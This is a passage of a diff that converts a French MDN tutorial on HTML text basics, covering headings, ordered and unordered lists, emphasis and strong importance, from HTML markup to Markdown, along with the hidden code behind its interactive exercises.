nos précédentes experiences pour savoir à quoi servent les objets du quotidien; quand on voit quelque chose, on sait à quoi cela sert. Par exemple, on s'attend à ce qu'un feu rouge de signalisation signifie « Stop » et qu'un feu vert signifie « Avancez ». Les choses peuvent vite devenir plus compliquées si de mauvaises sémantiques sont appliquées (existe-t-il un pays dans lequel un feu rouge signifie que l'on peut passer ? Je ne l'espère pas.) -<p>Dans la même optique, il faut s'assurer que l'on utilise les bons élements et que l'on donne la bonne signification, la bonne fonction et la bonne apparence à notre contenu. Dans ce contexte, l'élément {{htmlelement("h1")}} est aussi un élement sémantique. Il donne au texte auquel il s'applique la fonction (ou la signification) de « titre principal de la page ».</p> +Dans la même optique, il faut s'assurer que l'on utilise les bons élements et que l'on donne la bonne signification, la bonne fonction et la bonne apparence à notre contenu. Dans ce contexte, l'élément {{htmlelement("h1")}} est aussi un élement sémantique. Il donne au texte auquel il s'applique la fonction (ou la signification) de « titre principal de la page ». -<pre class="brush: html"><h1>Ceci est un titre principal</h1></pre> +```html +<h1>Ceci est un titre principal</h1> +``` -<p>Par défaut, le navigateur l'affiche avec une police de caractères de grande taille pour qu'il ait l'apparence d'un titre (même si vous pourriez lui donner l'apparence de n'importe quel élément avec le CSS). Plus important encore, sa valeur sémantique est utilisée de différentes manières, notamment par les moteurs de recherche ou les lecteurs d'écran (comme expliqué plus haut).</p> +Par défaut, le navigateur l'affiche avec une police de caractères de grande taille pour qu'il ait l'apparence d'un titre (même si vous pourriez lui donner l'apparence de n'importe quel élément avec le CSS). Plus important encore, sa valeur sémantique est utilisée de différentes manières, notamment par les moteurs de recherche ou les lecteurs d'écran (comme expliqué plus haut). -<p>D'autre part, vous pouvez faire ressembler n'importe quel élément à un titre principal. Par exemple :</p> +D'autre part, vous pouvez faire ressembler n'importe quel élément à un titre principal. Par exemple : -<pre class="brush: html"><span style="font-size: 32px; margin: 21px 0;">Est-ce un titre principal?</span></pre> +```html +<span style="font-size: 32px; margin: 21px 0;">Est-ce un titre principal?</span> +``` -<p>C'est un élément {{htmlelement("span")}}. Il n'a pas de valeur sémantique. Il s'utilise autour d'un contenu auquel vous souhaitez appliquer un style CSS (ou le modifier avec du JavaScript) sans lui donner une signification supplémentaire (vous en apprendrez plus à ce propos plus loin dans ce cours). Nous lui avons appliqué du CSS pour qu'il ressemble à un titre principal, mais comme il n'a pas de valeur sémantique, il ne bénéficie d'aucune des valeurs sémantiques décrites plus haut. Il est conseillé d'utiliser des éléments HTML adaptés à leur rôle.</p> +C'est un élément {{htmlelement("span")}}. Il n'a pas de valeur sémantique. Il s'utilise autour d'un contenu auquel vous souhaitez appliquer un style CSS (ou le modifier avec du JavaScript) sans lui donner une signification supplémentaire (vous en apprendrez plus à ce propos plus loin dans ce cours). Nous lui avons appliqué du CSS pour qu'il ressemble à un titre principal, mais comme il n'a pas de valeur sémantique, il ne bénéficie d'aucune des valeurs sémantiques décrites plus haut. Il est conseillé d'utiliser des éléments HTML adaptés à leur rôle. -<h2 id="Listes">Listes</h2> +## Listes -<p>Intéressons-nous maintenant aux listes. Il y a des listes partout dans la vie — de la liste de courses à la liste de directions que vous suivez inconsciemment pour rentrer chez vous tous les jours, sans oublier la liste des instructions que vous suivez dans ce tutoriel ! Les listes sont aussi très répandues sur le Web, nous allons nous intéresser aux trois différents types de liste.</p> +Intéressons-nous maintenant aux listes. Il y a des listes partout dans la vie — de la liste de courses à la liste de directions que vous suivez inconsciemment pour rentrer chez vous tous les jours, sans oublier la liste des instructions que vous suivez dans ce tutoriel ! Les listes sont aussi très répandues sur le Web, nous allons nous intéresser aux trois différents types de liste. -<h3 id="Listes_non-ordonnées">Listes non-ordonnées</h3> +### Listes non-ordonnées -<p>Les listes non-ordonnées sont utilisées pour représenter des listes d'éléments pour lesquelles l'ordre n'a pas d'importance. Prenons par exemple une liste de courses :</p> +Les listes non-ordonnées sont utilisées pour représenter des listes d'éléments pour lesquelles l'ordre n'a pas d'importance. Prenons par exemple une liste de courses : -<pre>lait -œufs -pain -houmous</pre> + lait + œufs + pain + houmous -<p>Les listes non-ordonnées débutent par un élément {{htmlelement("ul")}} (<em><strong>u</strong>norderd <strong>l</strong>ist</em>) qui enveloppe tous les éléments de la liste:</p> +Les listes non-ordonnées débutent par un élément {{htmlelement("ul")}} (**\*u**norderd **l**ist\*) qui enveloppe tous les éléments de la liste: -<pre class="brush: html"><ul> +```html +<ul> lait œufs pain houmous -</ul></pre> +</ul> +``` -<p>Chaque item est contenu dans un élément {{htmlelement("li")}} (<em><strong>l</strong>ist <strong>i</strong>tem</em>):</p> +Chaque item est contenu dans un élément {{htmlelement("li")}} (**\*l**ist **i**tem\*): -<pre class="brush: html"><ul> - <li>lait</li> - <li>œufs</li> - <li>pain</li> - <li>houmous</li> -</ul></pre> +```html +<ul> + <li>lait</li> + <li>œufs</li> + <li>pain</li> + <li>houmous</li> +</ul> +``` -<h4 id="Apprentissage_actif_mettre_des_balises_à_une_liste_non-ordonnée">Apprentissage actif : mettre des balises à une liste non-ordonnée</h4> +#### Apprentissage actif : mettre des balises à une liste non-ordonnée -<p>Modifiez l'exemple ci-dessous pour créer votre propre liste HTML non-ordonnée.</p> +Modifiez l'exemple ci-dessous pour créer votre propre liste HTML non-ordonnée. -<pre class="brush: html hidden"><h2>Live output</h2> +```html hidden +<h2>Live output</h2> -<div class="output" style="min-height: 50px;"> -</div> +<div class="output" style="min-height: 50px;"> +</div> -<h2>Code modifiable</h2> -<p class="a11y-label">Pressez Esc pour sortir le focus de la zone de code (Tab insère une tabulation).</p> +<h2>Code modifiable</h2> +<p class="a11y-label">Pressez Esc pour sortir le focus de la zone de code (Tab insère une tabulation).</p> -<textarea id="code" class="input" style="min-height: 100px; width: 95%">lait +<textarea id="code" class="input" style="min-height: 100px; width: 95%">lait œufs pain -houmous</textarea> +houmous</textarea> -<div class="playable-buttons"> - <input id="reset" type="button" value="Réinitialiser"> - <input id="solution" type="button" value="Voir la solution"> -</div></pre> +<div class="playable-buttons"> + <input id="reset" type="button" value="Réinitialiser"> + <input id="solution" type="button" value="Voir la solution"> +</div> +``` -<pre class="brush: css hidden">html { +```css hidden +html { font-family: sans-serif; } @@ -314,9 +341,11 @@ h2 { body { margin: 10px; background: #f5f9fa; -}</pre> +} +``` -<pre class="brush: js hidden">var textarea = document.getElementById('code'); +```js hidden +var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var output = document.querySelector('.output'); @@ -346,7 +375,7 @@ solution.addEventListener('click', function() { updateCode(); }); -var htmlSolution = '<ul>\n<li>lait</li>\n<li>œufs</li>\n<li>pain</li>\n<li>houmous</li>\n</ul>'; +var htmlSolution = '<ul>\n<li>lait</li>\n<li>œufs</li>\n<li>pain</li>\n<li>houmous</li>\n</ul>'; var solutionEntry = htmlSolution; textarea.addEventListener('input', updateCode); @@ -393,54 +422,60 @@ textarea.onkeyup = function(){ } updateCode(); -};</pre> +}; +``` -<p>{{ EmbedLiveSample('Apprentissage_actif_mettre_des_balises_à_une_liste_non-ordonnée', 700, 400) }}</p> +{{ EmbedLiveSample('Apprentissage_actif_mettre_des_balises_à_une_liste_non-ordonnée', 700, 400) }} -<h3 id="Listes_ordonnées">Listes ordonnées</h3> +### Listes ordonnées -<p>Les listes ordonnées permettent de représenter des listes dans lesquelles l'ordre des éléments a de l'importance — prenons par exemple une série de directions à suivre:</p> +Les listes ordonnées permettent de représenter des listes dans lesquelles l'ordre des éléments a de l'importance — prenons par exemple une série de directions à suivre: -<pre>Roulez jusqu'au bout de la route -Tournez à droite -Allez tout droit aux deux premiers ronds-points -Tournez à gauche au troisième rond-point -Roulez sur 300 mètres, l'école est sur votre droite</pre> + Roulez jusqu'au bout de la route + Tournez à droite + Allez tout droit aux deux premiers ronds-points + Tournez à gauche au troisième rond-point + Roulez sur 300 mètres, l'école est sur votre droite -<p>Les balises suivent la même structure que pour les listes ordonnées, à cela près que la liste est contenue dans l'élément {{htmlelement("ol")}} (<em><strong>o</strong>rdered <strong>l</strong>ist</em>), et non dans <code><ul></code>:</p> +Les balises suivent la même structure que pour les listes ordonnées, à cela près que la liste est contenue dans l'élément {{htmlelement("ol")}} (**\*o**rdered **l**ist\*), et non dans `<ul>`: -<pre class="brush: html"><ol> - <li>Roulez jusqu'au bout de la route</li> - <li>Tournez à droite</li> - <li>Allez tout droit aux deux premiers ronds-points</li> - <li>Tournez à gauche au troisième rond-point</li> - <li>Roulez sur 300 mètres, l'école est sur votre droite</li> -</ol></pre> +```html +<ol> + <li>Roulez jusqu'au bout de la route</li> + <li>Tournez à droite</li> + <li>Allez tout droit aux deux premiers ronds-points</li> + <li>Tournez à gauche au troisième rond-point</li> + <li>Roulez sur 300 mètres, l'école est sur votre droite</li> +</ol> +``` -<h4 id="Apprentissage_actif_baliser_une_liste_ordonnée">Apprentissage actif : baliser une liste ordonnée</h4> +#### Apprentissage actif : baliser une liste ordonnée -<p>Modifiez l'exemple ci‑dessous pour créer votre propre liste HTML ordonnée.</p> +Modifiez l'exemple ci‑dessous pour créer votre propre liste HTML ordonnée. -<pre class="brush: html hidden"><h2>Sortie directe</h2> +```html hidden +<h2>Sortie directe</h2> -<div class="output" style="min-height: 50px;"> -</div> +<div class="output" style="min-height: 50px;"> +</div> -<h2>Code modifiable</h2> -<p class="a11y-label">Pressez Esc pour sortir le focus de la zone de code (Tab insère une tabulation).</p> +<h2>Code modifiable</h2> +<p class="a11y-label">Pressez Esc pour sortir le focus de la zone de code (Tab insère une tabulation).</p> -<textarea id="code" class="input" style="min-height: 200px; width: 95%">Roulez jusqu'au bout de la route +<textarea id="code" class="input" style="min-height: 200px; width: 95%">Roulez jusqu'au bout de la route Tournez à droite Allez tout droit aux deux premiers rond-points Tournez à gauche au troisième rond-point -Roulez sur 300 mètres, l'école est sur votre droite</textarea> +Roulez sur 300 mètres, l'école est sur votre droite</textarea> -<div class="playable-buttons"> - <input id="reset" type="button" value="Réinitialiser"> - <input id="solution" type="button" value="Voir la solution"> -</div></pre> +<div class="playable-buttons"> + <input id="reset" type="button" value="Réinitialiser"> + <input id="solution" type="button" value="Voir la solution"> +</div> +``` -<pre class="brush: css hidden">html { +```css hidden +html { font-family: sans-serif; } @@ -458,9 +493,11 @@ h2 { body { margin: 10px; background: #f5f9fa; -}</pre> +} +``` -<pre class="brush: js hidden">var textarea = document.getElementById('code'); +```js hidden +var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var output = document.querySelector('.output'); @@ -490,7 +527,7 @@ solution.addEventListener('click', function() { updateCode(); }); -var htmlSolution = '<ol>\n<li>Roulez jusqu\'au bout de la route</li>\n<li>Tournez à droite</li>\n<li>Allez tout droit aux deux premiers rond-points</li>\n<li>Tournez à gauche au troisième rond-point</li>\n<li>Roulez sur 300 mètres, l\'école est sur votre droite</li>\n</ol>'; +var htmlSolution = '<ol>\n<li>Roulez jusqu\'au bout de la route</li>\n<li>Tournez à droite</li>\n<li>Allez tout droit aux deux premiers rond-points</li>\n<li>Tournez à gauche au troisième rond-point</li>\n<li>Roulez sur 300 mètres, l\'école est sur votre droite</li>\n</ol>'; var solutionEntry = htmlSolution; textarea.addEventListener('input', updateCode); @@ -537,23 +574,25 @@ textarea.onkeyup = function(){ } updateCode(); -};</pre> +}; +``` -<p>{{ EmbedLiveSample('Apprentissage_actif_baliser_une_liste_ordonnée', 700, 500) }}</p> +{{ EmbedLiveSample('Apprentissage_actif_baliser_une_liste_ordonnée', 700, 500) }} -<h3 id="Apprentissage_actif_mettre_des_balises_pour_une_recette_de_cuisine">Apprentissage actif : mettre des balises pour une recette de cuisine</h3> +### Apprentissage actif : mettre des balises pour une recette de cuisine -<p>Si vous êtes arrivé jusqu'ici dans l'article, vous avez toutes les connaissances nécessaires pour mettre en forme la recette de cuisine donnée en exemple. Vous pouvez soit télécharger le fichier <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/html-text-formatting/text-start.html">text-start.html</a> et le modifier de votre côté, soit faire l'exercice dans l'exemple modifiable ci-dessous. Il est conseillé de le modifier localement, sur votre machine, car vous pourrez alors enregistrer votre travail. Si vous utilisez l'exemple modifiable de cette page, le travail sera perdu à l'ouverture suivante de la page. Chaque méthode a ses avantages et ses inconvénients.</p> +Si vous êtes arrivé jusqu'ici dans l'article, vous avez toutes les connaissances nécessaires pour mettre en forme la recette de cuisine donnée en exemple. Vous pouvez soit télécharger le fichier [text-start.html](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/html-text-formatting/text-start.html) et le modifier de votre côté, soit faire l'exercice dans l'exemple modifiable ci-dessous. Il est conseillé de le modifier localement, sur votre machine, car vous pourrez alors enregistrer votre travail. Si vous utilisez l'exemple modifiable de cette page, le travail sera perdu à l'ouverture suivante de la page. Chaque méthode a ses avantages et ses inconvénients. -<pre class="brush: html hidden"><h2>Sortie directe</h2> +```html hidden +<h2>Sortie directe</h2> -<div class="output" style="min-height: 50px;"> -</div> +<div class="output" style="min-height: 50px;"> +</div> -<h2>Code modifiable</h2> -<p class="a11y-label">Pressez Esc pour sortir le focus de la zone de code (Tab insére une tabulation).</p> +<h2>Code modifiable</h2> +<p class="a11y-label">Pressez Esc pour sortir le focus de la zone de code (Tab insére une tabulation).</p> -<textarea id="code" class="input" style="min-height: 200px; width: 95%">Recette rapide de l'houmous +<textarea id="code" class="input" style="min-height: 200px; width: 95%">Recette rapide de l'houmous Cette recette permet d'obtenir rapidement un houmous savoureux, sans complications. C'est une adaptation de plusieurs recettes différentes que j'ai essayées au fil des ans. @@ -581,14 +620,16 @@ textarea.onkeyup = function(){ Mettez l'houmous fini au réfrigérateur dans un récipient fermé. Vous le garderez ainsi pendant environ une semaine. S'il se met à fermenter, jettez‑le sans hésiter. - L'houmous peut être congelé ; consommez‑le dans les deux mois qui suivent sa congélation.</textarea> + L'houmous peut être congelé ; consommez‑le dans les deux mois qui suivent sa congélation.</textarea> -<div class="playable-buttons"> - <input id="reset" type="button" value="Réinitialiser"> - <input id="solution" type="button" value="Voir la solution"> -</div></pre> +<div class="playable-buttons"> + <input id="reset" type="button" value="Réinitialiser"> + <input id="solution" type="button" value="Voir la solution"> +</div> +``` -<pre class="brush: css hidden">html { +```css hidden +html { font-family: sans-serif; } @@ -606,9 +647,11 @@ h2 { body { margin: 10px; background: #f5f9fa; -}</pre> +} +``` -<pre class="brush: js hidden">var textarea = document.getElementById('code'); +```js hidden +var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var output = document.querySelector('.output'); @@ -638,7 +681,7 @@ solution.addEventListener('click', function() { updateCode(); }); -var htmlSolution = '<h1>Recette rapide de l\'houmous</h1>\n\n<p>Cette recette permet d\'obtenir rapidement un houmous savoureux, sans complications. C\'est une adaptation de plusieurs recettes différentes que j\'ai essayées au fil des ans.</p>\n\n<p>L\'houmous est une délicieuse pâte épaisse utilisée dans les plats en Grèce et au moyen-orient. Il s\'accorde très bien avec la salade, les viandes grillées et du pain calabrais.</p>\n\n<h2>Ingrédients</h2>\n\n<ul>\n<li>1 boîte (400 g) de pois chiches (garbanzos)</li>\n<li>175g de crème de sésame</li>\n<li>6 tomates séchées</li>\n<li>un demi poivron rouge</li>\n<li>une pincée de piment de Cayenne</li>\n<li>1 gousse d\'ail</li>\n<li>un trait d\'huile d\'olive</li>\n</ul>\n\n<h2>Instructions</h2>\n\n<ol>\n<li>Ôter la peau de l\'ail et le hacher grossièrement.</li>\n<li>Enlever les graines et la tige du poivron, le hacher grossièrement.</li>\n<li>Mettre tous les ingrédients dans un robot mixer jusqu\'à l\'obtention d\'une pâte.</li>\n<li>Si vous voulez un houmous grenu, ne le mixez pas trop longtemps.</li>\n<li>Si vous voulez un houmous lisse, mixez-le plus longtemps.</li>\n</ol>\n\n<p>Pour des saveurs différentes, vous pouvez essayer d\'y mettre un peu de jus de citron et de coriandre, du tabasco, de la limette et du chipotle, de la harissa et de la menthe ou des épinards et de la feta. Essayez et voyez ce qui vous va.</p>\n\n<h2>Conservation</h2>\n\n<p>Mettez l\'houmous fini au réfrigérateur dans un récipient fermé. Vous le garderez ainsi pendant environ une semaine. S\'il se met à fermenter, jettez‑le sans hésiter.</p>\n\n<p>L\'houmous peut être congelé ; consommez‑le dans les deux mois qui suivent sa congélation.</p>'; +var htmlSolution = '<h1>Recette rapide de l\'houmous</h1>\n\n<p>Cette recette permet d\'obtenir rapidement un houmous savoureux, sans complications. C\'est une adaptation de plusieurs recettes différentes que j\'ai essayées au fil des ans.</p>\n\n<p>L\'houmous est une délicieuse pâte épaisse utilisée dans les plats en Grèce et au moyen-orient. Il s\'accorde très bien avec la salade, les viandes grillées et du pain calabrais.</p>\n\n<h2>Ingrédients</h2>\n\n<ul>\n<li>1 boîte (400 g) de pois chiches (garbanzos)</li>\n<li>175g de crème de sésame</li>\n<li>6 tomates séchées</li>\n<li>un demi poivron rouge</li>\n<li>une pincée de piment de Cayenne</li>\n<li>1 gousse d\'ail</li>\n<li>un trait d\'huile d\'olive</li>\n</ul>\n\n<h2>Instructions</h2>\n\n<ol>\n<li>Ôter la peau de l\'ail et le hacher grossièrement.</li>\n<li>Enlever les graines et la tige du poivron, le hacher grossièrement.</li>\n<li>Mettre tous les ingrédients dans un robot mixer jusqu\'à l\'obtention d\'une pâte.</li>\n<li>Si vous voulez un houmous grenu, ne le mixez pas trop longtemps.</li>\n<li>Si vous voulez un houmous lisse, mixez-le plus longtemps.</li>\n</ol>\n\n<p>Pour des saveurs différentes, vous pouvez essayer d\'y mettre un peu de jus de citron et de coriandre, du tabasco, de la limette et du chipotle, de la harissa et de la menthe ou des épinards et de la feta. Essayez et voyez ce qui vous va.</p>\n\n<h2>Conservation</h2>\n\n<p>Mettez l\'houmous fini au réfrigérateur dans un récipient fermé. Vous le garderez ainsi pendant environ une semaine. S\'il se met à fermenter, jettez‑le sans hésiter.</p>\n\n<p>L\'houmous peut être congelé ; consommez‑le dans les deux mois qui suivent sa congélation.</p>'; var solutionEntry = htmlSolution; textarea.addEventListener('input', updateCode); @@ -685,105 +728,117 @@ function insertAtCaret(text) { } updateCode(); -};</pre> +}; +``` -<p>{{ EmbedLiveSample('Apprentissage_actif_mettre_des_balises_pour_une_recette_de_cuisine', 700, 500) }}</p> +{{ EmbedLiveSample('Apprentissage_actif_mettre_des_balises_pour_une_recette_de_cuisine', 700, 500) }} -<p>Si vous êtes bloqué, vous pouvez cliquer sur le bouton <em>Voir la solution</em>, ou alors regarder l'exemple <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/html-text-formatting/text-complete.html">text-complete.html</a> sur le dépôt GitHub.</p> +Si vous êtes bloqué, vous pouvez cliquer sur le bouton _Voir la solution_, ou alors regarder l'exemple [text-complete.html](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/html-text-formatting/text-complete.html) sur le dépôt GitHub. -<h3 id="Imbriquer_des_listes">Imbriquer des listes</h3> +### Imbriquer des listes -<p>Il est parfaitement possible d'imbriquer une liste dans une autre. Il se peut que vous vouliez insérer une liste à puces derrière une même puce de niveau supérieur. Prenons par exemple la deuxième liste de la recette :</p> +Il est parfaitement possible d'imbriquer une liste dans une autre. Il se peut que vous vouliez insérer une liste à puces derrière une même puce de niveau supérieur. Prenons par exemple la deuxième liste de la recette : -<pre class="brush: html"><ol> - <li>Ôter la peau de l'ail et le hacher grossièrement.</li> - <li>Enlever les graines et la tige du poivron, le hacher grossièrement.</li> - <li>Mettre tous les ingrédients dans un robot mixer jusqu'à l'obtention d'une pâte.</li> - <li>Si vous voulez un houmous grenu, ne le mixez pas trop longtemps.</li> - <li>Si vous voulez un houmous lisse, mixez-le plus longtemps.</li> -</ol> -</pre> +```html +<ol> + <li>Ôter la peau de l'ail et le hacher grossièrement.</li> + <li>Enlever les graines et la tige du poivron, le hacher grossièrement.</li> + <li>Mettre tous les ingrédients dans un robot mixer jusqu'à l'obtention d'une pâte.</li> + <li>Si vous voulez un houmous grenu, ne le mixez pas trop longtemps.</li> + <li>Si vous voulez un houmous lisse, mixez-le plus longtemps.</li> +</ol> +``` -<p>Comme les deux dernières puces de la liste sont très liées à celle qui les précède (elles semblent être des sous-instructions ou des choix correspondant à cette puce), il peut être judicieux de les regrouper dans une même liste non-ordonnée, et placer cette liste dans le quatrième item. Cela ressemblerait alors à ceci :</p> +Comme les deux dernières puces de la liste sont très liées à celle qui les précède (elles semblent être des sous-instructions ou des choix correspondant à cette puce), il peut être judicieux de les regrouper dans une même liste non-ordonnée, et placer cette liste dans le quatrième item. Cela ressemblerait alors à ceci : -<pre class="brush: html"><ol> - <li>Ôter la peau de l'ail et le hacher grossièrement.</li> - <li>Enlever les graines et la tige du poivron, le hacher grossièrement.</li> - <li>Mettre tous les ingrédients dans un robot mixer jusqu'à l'obtention d'une pâte. - <ul> - <li>Si vous voulez un houmous grenu, ne le mixez pas trop longtemps.</li> - <li>Si vous voulez un houmous lisse, mixez-le plus longtemps.</li> - </ul> - </li> -</ol> -</pre> +```html +<ol> + <li>Ôter la peau de l'ail et le hacher grossièrement.</li> + <li>Enlever les graines et la tige du poivron, le hacher grossièrement.</li> + <li>Mettre tous les ingrédients dans un robot mixer jusqu'à l'obtention d'une pâte. + <ul> + <li>Si vous voulez un houmous grenu, ne le mixez pas trop longtemps.</li> + <li>Si vous voulez un houmous lisse, mixez-le plus longtemps.</li> + </ul> + </li> +</ol> +``` -<p>N'hésitez pas à revenir au dernier apprentissage actif pour modifier vous même la liste correspondante dans la recette.</p> +N'hésitez pas à revenir au dernier apprentissage actif pour modifier vous même la liste correspondante dans la recette. -<h2 id="Soulignement_et_importance">Soulignement et importance</h2> +## Soulignement et importance -<p>Dans le langage, nous mettons souvent l'accent sur certains mots pour modifier le sens d'une phrase et pour marquer certains mots comme étant importants ou différents d'une manière ou d'une autre. HTML fournit divers éléments de sémantique pour nous permettre de marquer un contenu textuel avec de tels effets. Dans cette section, nous examinerons quelques-uns des plus courants.</p> +Dans le langage, nous mettons souvent l'accent sur certains mots pour modifier le sens d'une phrase et pour marquer certains mots comme étant importants ou différents d'une manière ou d'une autre. HTML fournit divers éléments de sémantique pour nous permettre de marquer un contenu textuel avec de tels effets. Dans cette section, nous examinerons quelques-uns des plus courants. -<h3 id="Emphase">Emphase</h3> +### Emphase -<p>Dans le langage parlé, pour accentuer, nous insistons sur certains mots, modifiant subtilement le sens de ce que nous disons. De même, dans le langage écrit, nous avons tendance à mettre un certain accent sur des mots en les écrivant en italique. Par exemple, les deux phrases suivantes ont des significations différentes.</p> +Dans le langage parlé, pour accentuer, nous insistons sur certains mots, modifiant subtilement le sens de ce que nous disons. De même, dans le langage écrit, nous avons tendance à mettre un certain accent sur des mots en les écrivant en italique. Par exemple, les deux phrases suivantes ont des significations différentes. -<p>« Je suis content que vous n'ayez pas été en retard. »</p> +« Je suis content que vous n'ayez pas été en retard. » -<p>« Je suis <em>content</em> que vous n'ayez pas été <em>en retard</em>. »</p> +« Je suis _content_ que vous n'ayez pas été _en retard_. » -<p>La première phrase semble indiquer que le locuteur est vraiment soulagé que la personne n'aie pas été en retard. En revanche, la seconde a une tonalité sarcastique ou passive-agressive, exprimant la gêne que la personne soit arrivée un peu en retard.</p> +La première phrase semble indiquer que le locuteur est vraiment soulagé que la personne n'aie pas été en retard. En revanche, la seconde a une tonalité sarcastique ou passive-agressive, exprimant la gêne que la personne soit arrivée un peu en retard. -<p>En HTML, nous utilisons l'élément {{htmlelement("em")}} (<strong>em</strong>phase) pour marquer ces circonstances. Outre rendre le document plus intéressant à lire, ces marqueurs sont reconnus par les lecteurs d'écran et exprimés sur un ton de voix différent. Les navigateurs utilisent l'italique par défaut, mais il ne faut pas utiliser cette balise pour mettre en italique. Pour cela, utilisez un élément {{htmlelement("span")}} et du CSS, ou plus simplement un élément {{htmlelement("i")}} (voir ci-dessous).</p> +En HTML, nous utilisons l'élément {{htmlelement("em")}} (**em**phase) pour marquer ces circonstances. Outre rendre le document plus intéressant à lire, ces marqueurs sont reconnus par les lecteurs d'écran et exprimés sur un ton de voix différent. Les navigateurs utilisent l'italique par défaut, mais il ne faut pas utiliser cette balise pour mettre en italique. Pour cela, utilisez un élément {{htmlelement("span")}} et du CSS, ou plus simplement un élément {{htmlelement("i")}} (voir ci-dessous). -<pre class="brush: html"><p>Je suis <em>content</em> que vous n'ayez pas été <em>en retard</em>.</p></pre> +```html +<p>Je suis <em>content</em> que vous n'ayez pas été <em>en retard</em>.</p> +``` -<h3 id="Grande_importance">Grande importance</h3> +### Grande importance -<p>Pour mettre l'accent sur des mots très importants, nous les soulignons d'un ton particulier dans la langue parlée et nous les mettons en caractères gras dans la langue écrite. Par exemple :</p> +Pour mettre l'accent sur des mots très importants, nous les soulignons d'un ton particulier dans la langue parlée et nous les mettons en caractères gras dans la langue écrite. Par exemple : -<p>Ce liquide est <strong>hautement toxique</strong>.</p> +Ce liquide est **hautement toxique**. -<p>Je compte sur vous. <strong>Ne soyez pas en retard</strong> !</p> +Je compte sur vous. **Ne soyez pas en retard** ! -<p>En HTML, nous utilisons l'élément {{htmlelement("strong")}} (forte importance) comme balise de telles circonstances. En plus de rendre le document plus lisible, ces balises sont reconnues par les lecteurs d'écran et énoncées avec des intonations différentes. Par défaut, les navigateurs mettent le texte marqué en gras, mais il ne faut pas utiliser cette balise pour mettre en gras. Pour cela, utilisez un élément {{htmlelement("span")}}} et du CSS, ou plus simplement un élément {{htmlelement("b")}} (voir ci-dessous).</p> +En HTML, nous utilisons l'élément {{htmlelement("strong")}} (forte importance) comme balise de telles circonstances. En plus de rendre le document plus lisible, ces balises sont reconnues par les lecteurs d'écran et énoncées avec des intonations différentes. Par défaut, les navigateurs mettent le texte marqué en gras, mais il ne faut pas utiliser cette balise pour mettre en gras. Pour cela, utilisez un élément {{htmlelement("span")}}} et du CSS, ou plus simplement un élément {{htmlelement("b")}} (voir ci-dessous). -<pre class="brush: html"><p>Ce liquide est <strong>hautement toxique</strong>.</p> +```html +<p>Ce liquide est <strong>hautement toxique</strong>.</p> -<p>Je compte sur vous. <strong>Ne soyez pas en retard</strong> !</p></pre> +<p>Je compte sur vous. <strong>Ne soyez pas en retard</strong> !</p> +``` -<p>Il est possible d'imbriquer <code>strong</code> et <code>em</code> :</p> +Il est possible d'imbriquer `strong` et `em` : -<pre class="brush: html"><p>Ce liquide est <strong>hautement toxique</strong> — -si vous en buvez, <strong>vous pourriez en <em>mourir</em></strong>.</p></pre> +```html +<p>Ce liquide est <strong>hautement toxique</strong> — +si vous en buvez, <strong>vous pourriez en <em>mourir</em></strong>.</p> +``` -<h3 id="Apprentissage_actif_soulignez_l'important">Apprentissage actif : soulignez l'important</h3> +### Apprentissage actif : soulignez l'important -<p>Dans ce paragraphe d'apprentissage actif, nous avons donné un exemple modifiable. À l'intérieur, nous aimerions que vous essayiez d'ajouter de l'emphase et de l'importance aux mots quand vous pensez qu'ils en ont besoin, juste pour une bonne pratique.</p> +Dans ce paragraphe d'apprentissage actif, nous avons donné un exemple modifiable. À l'intérieur, nous aimerions que vous essayiez d'ajouter de l'emphase et de l'importance aux mots quand vous pensez qu'ils en ont besoin, juste pour une bonne pratique. -<pre class="brush: html hidden"><h2>Live output</h2> +```html hidden +<h2>Live output</h2> -<div class="output" style="min-height: 50px;"> -</div> +<div class="output" style="min-height: 50px;"> +</div> -<h2>Code modifiable</h2> -<p class="a11y-label">Pressez Esc pour sortir le focus de la zone de code (Tab insére une tabulation).</p> +<h2>Code modifiable</h2> +<p class="a11y-label">Pressez Esc pour sortir le focus de la zone de code (Tab insére une tabulation).</p> -<textarea id="code" class="input" style="min-height: 200px; width: 95%"><h1>Avis important</h1> -<p>Le dimanche 9 janvier 2010, une bande de barbares +<textarea id="code" class="input" style="min-height: 200px; width: 95%"><h1>Avis important</h1> +<p>Le dimanche 9 janvier 2010, une bande de barbares a été repérée en train de voler plusieurs nains de jardin dans un centre commercial du centre-ville de Milwaukee. Ils portaient tous des combinaisons vertes et des chapeaux ridicules, et semblaient s'amuser comme des fous. Si quelqu'un a une quelconque information - sur cet incident, veuillez contacter la police immédiatement.</p></textarea> + sur cet incident, veuillez contacter la police immédiatement.</p></textarea> -<div class="playable-buttons"> - <input id="reset" type="button" value="Réinitialiser"> - <input id="solution" type="button" value="Voir la solution"> -</div></pre> +<div class="playable-buttons"> + <input id="reset" type="button" value="Réinitialiser"> + <input id="solution" type="button" value="Voir la solution"> +</div> +``` -<pre class="brush: css hidden">html { +```css hidden +html { font-family: sans-serif; } @@ -801,10 +856,11 @@ h2 { body { margin: 10px; background: #f5f9fa; -}</pre> - +} +``` -<pre class="brush: js hidden">var textarea = document.getElementById('code'); +```js hidden +var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var output = document.querySelector('.output'); @@ -834,7 +890,7 @@ solution.addEventListener('click', function() { updateCode(); }); -var htmlSolution = "<h1>Avis important</h1>\n<p>Le <strong>dimanche 9 janvier 2010</strong>, une bande de <em>barbares</em> a été repérée en train de voler <strong><em>plusieurs</em> nains de jardin</strong> dans un centre commercial du centre-ville de <strong>Milwaukee</strong>. Ils portaient tous <em>des combinaisons vertes</em> et des <em>chapeaux ridicules</em> et semblaient s'amuser comme des fous. Si quelqu'un a une <strong>quelconque</strong> information sur cet incident, veuillez contacter la police <strong>immédiatement</strong>.</p>"; +var htmlSolution = "<h1>Avis important</h1>\n<p>Le <strong>dimanche 9 janvier 2010</strong>, une bande de <em>barbares</em> a été repérée en train de voler <strong><em>plusieurs</em> nains de jardin</strong> dans un centre commercial du centre-ville de <strong>Milwaukee</strong>. Ils portaient tous <em>des combinaisons vertes</em> et des <em>chapeaux ridicules</em> et semblaient s'amuser comme des fous. Si quelqu'un a une 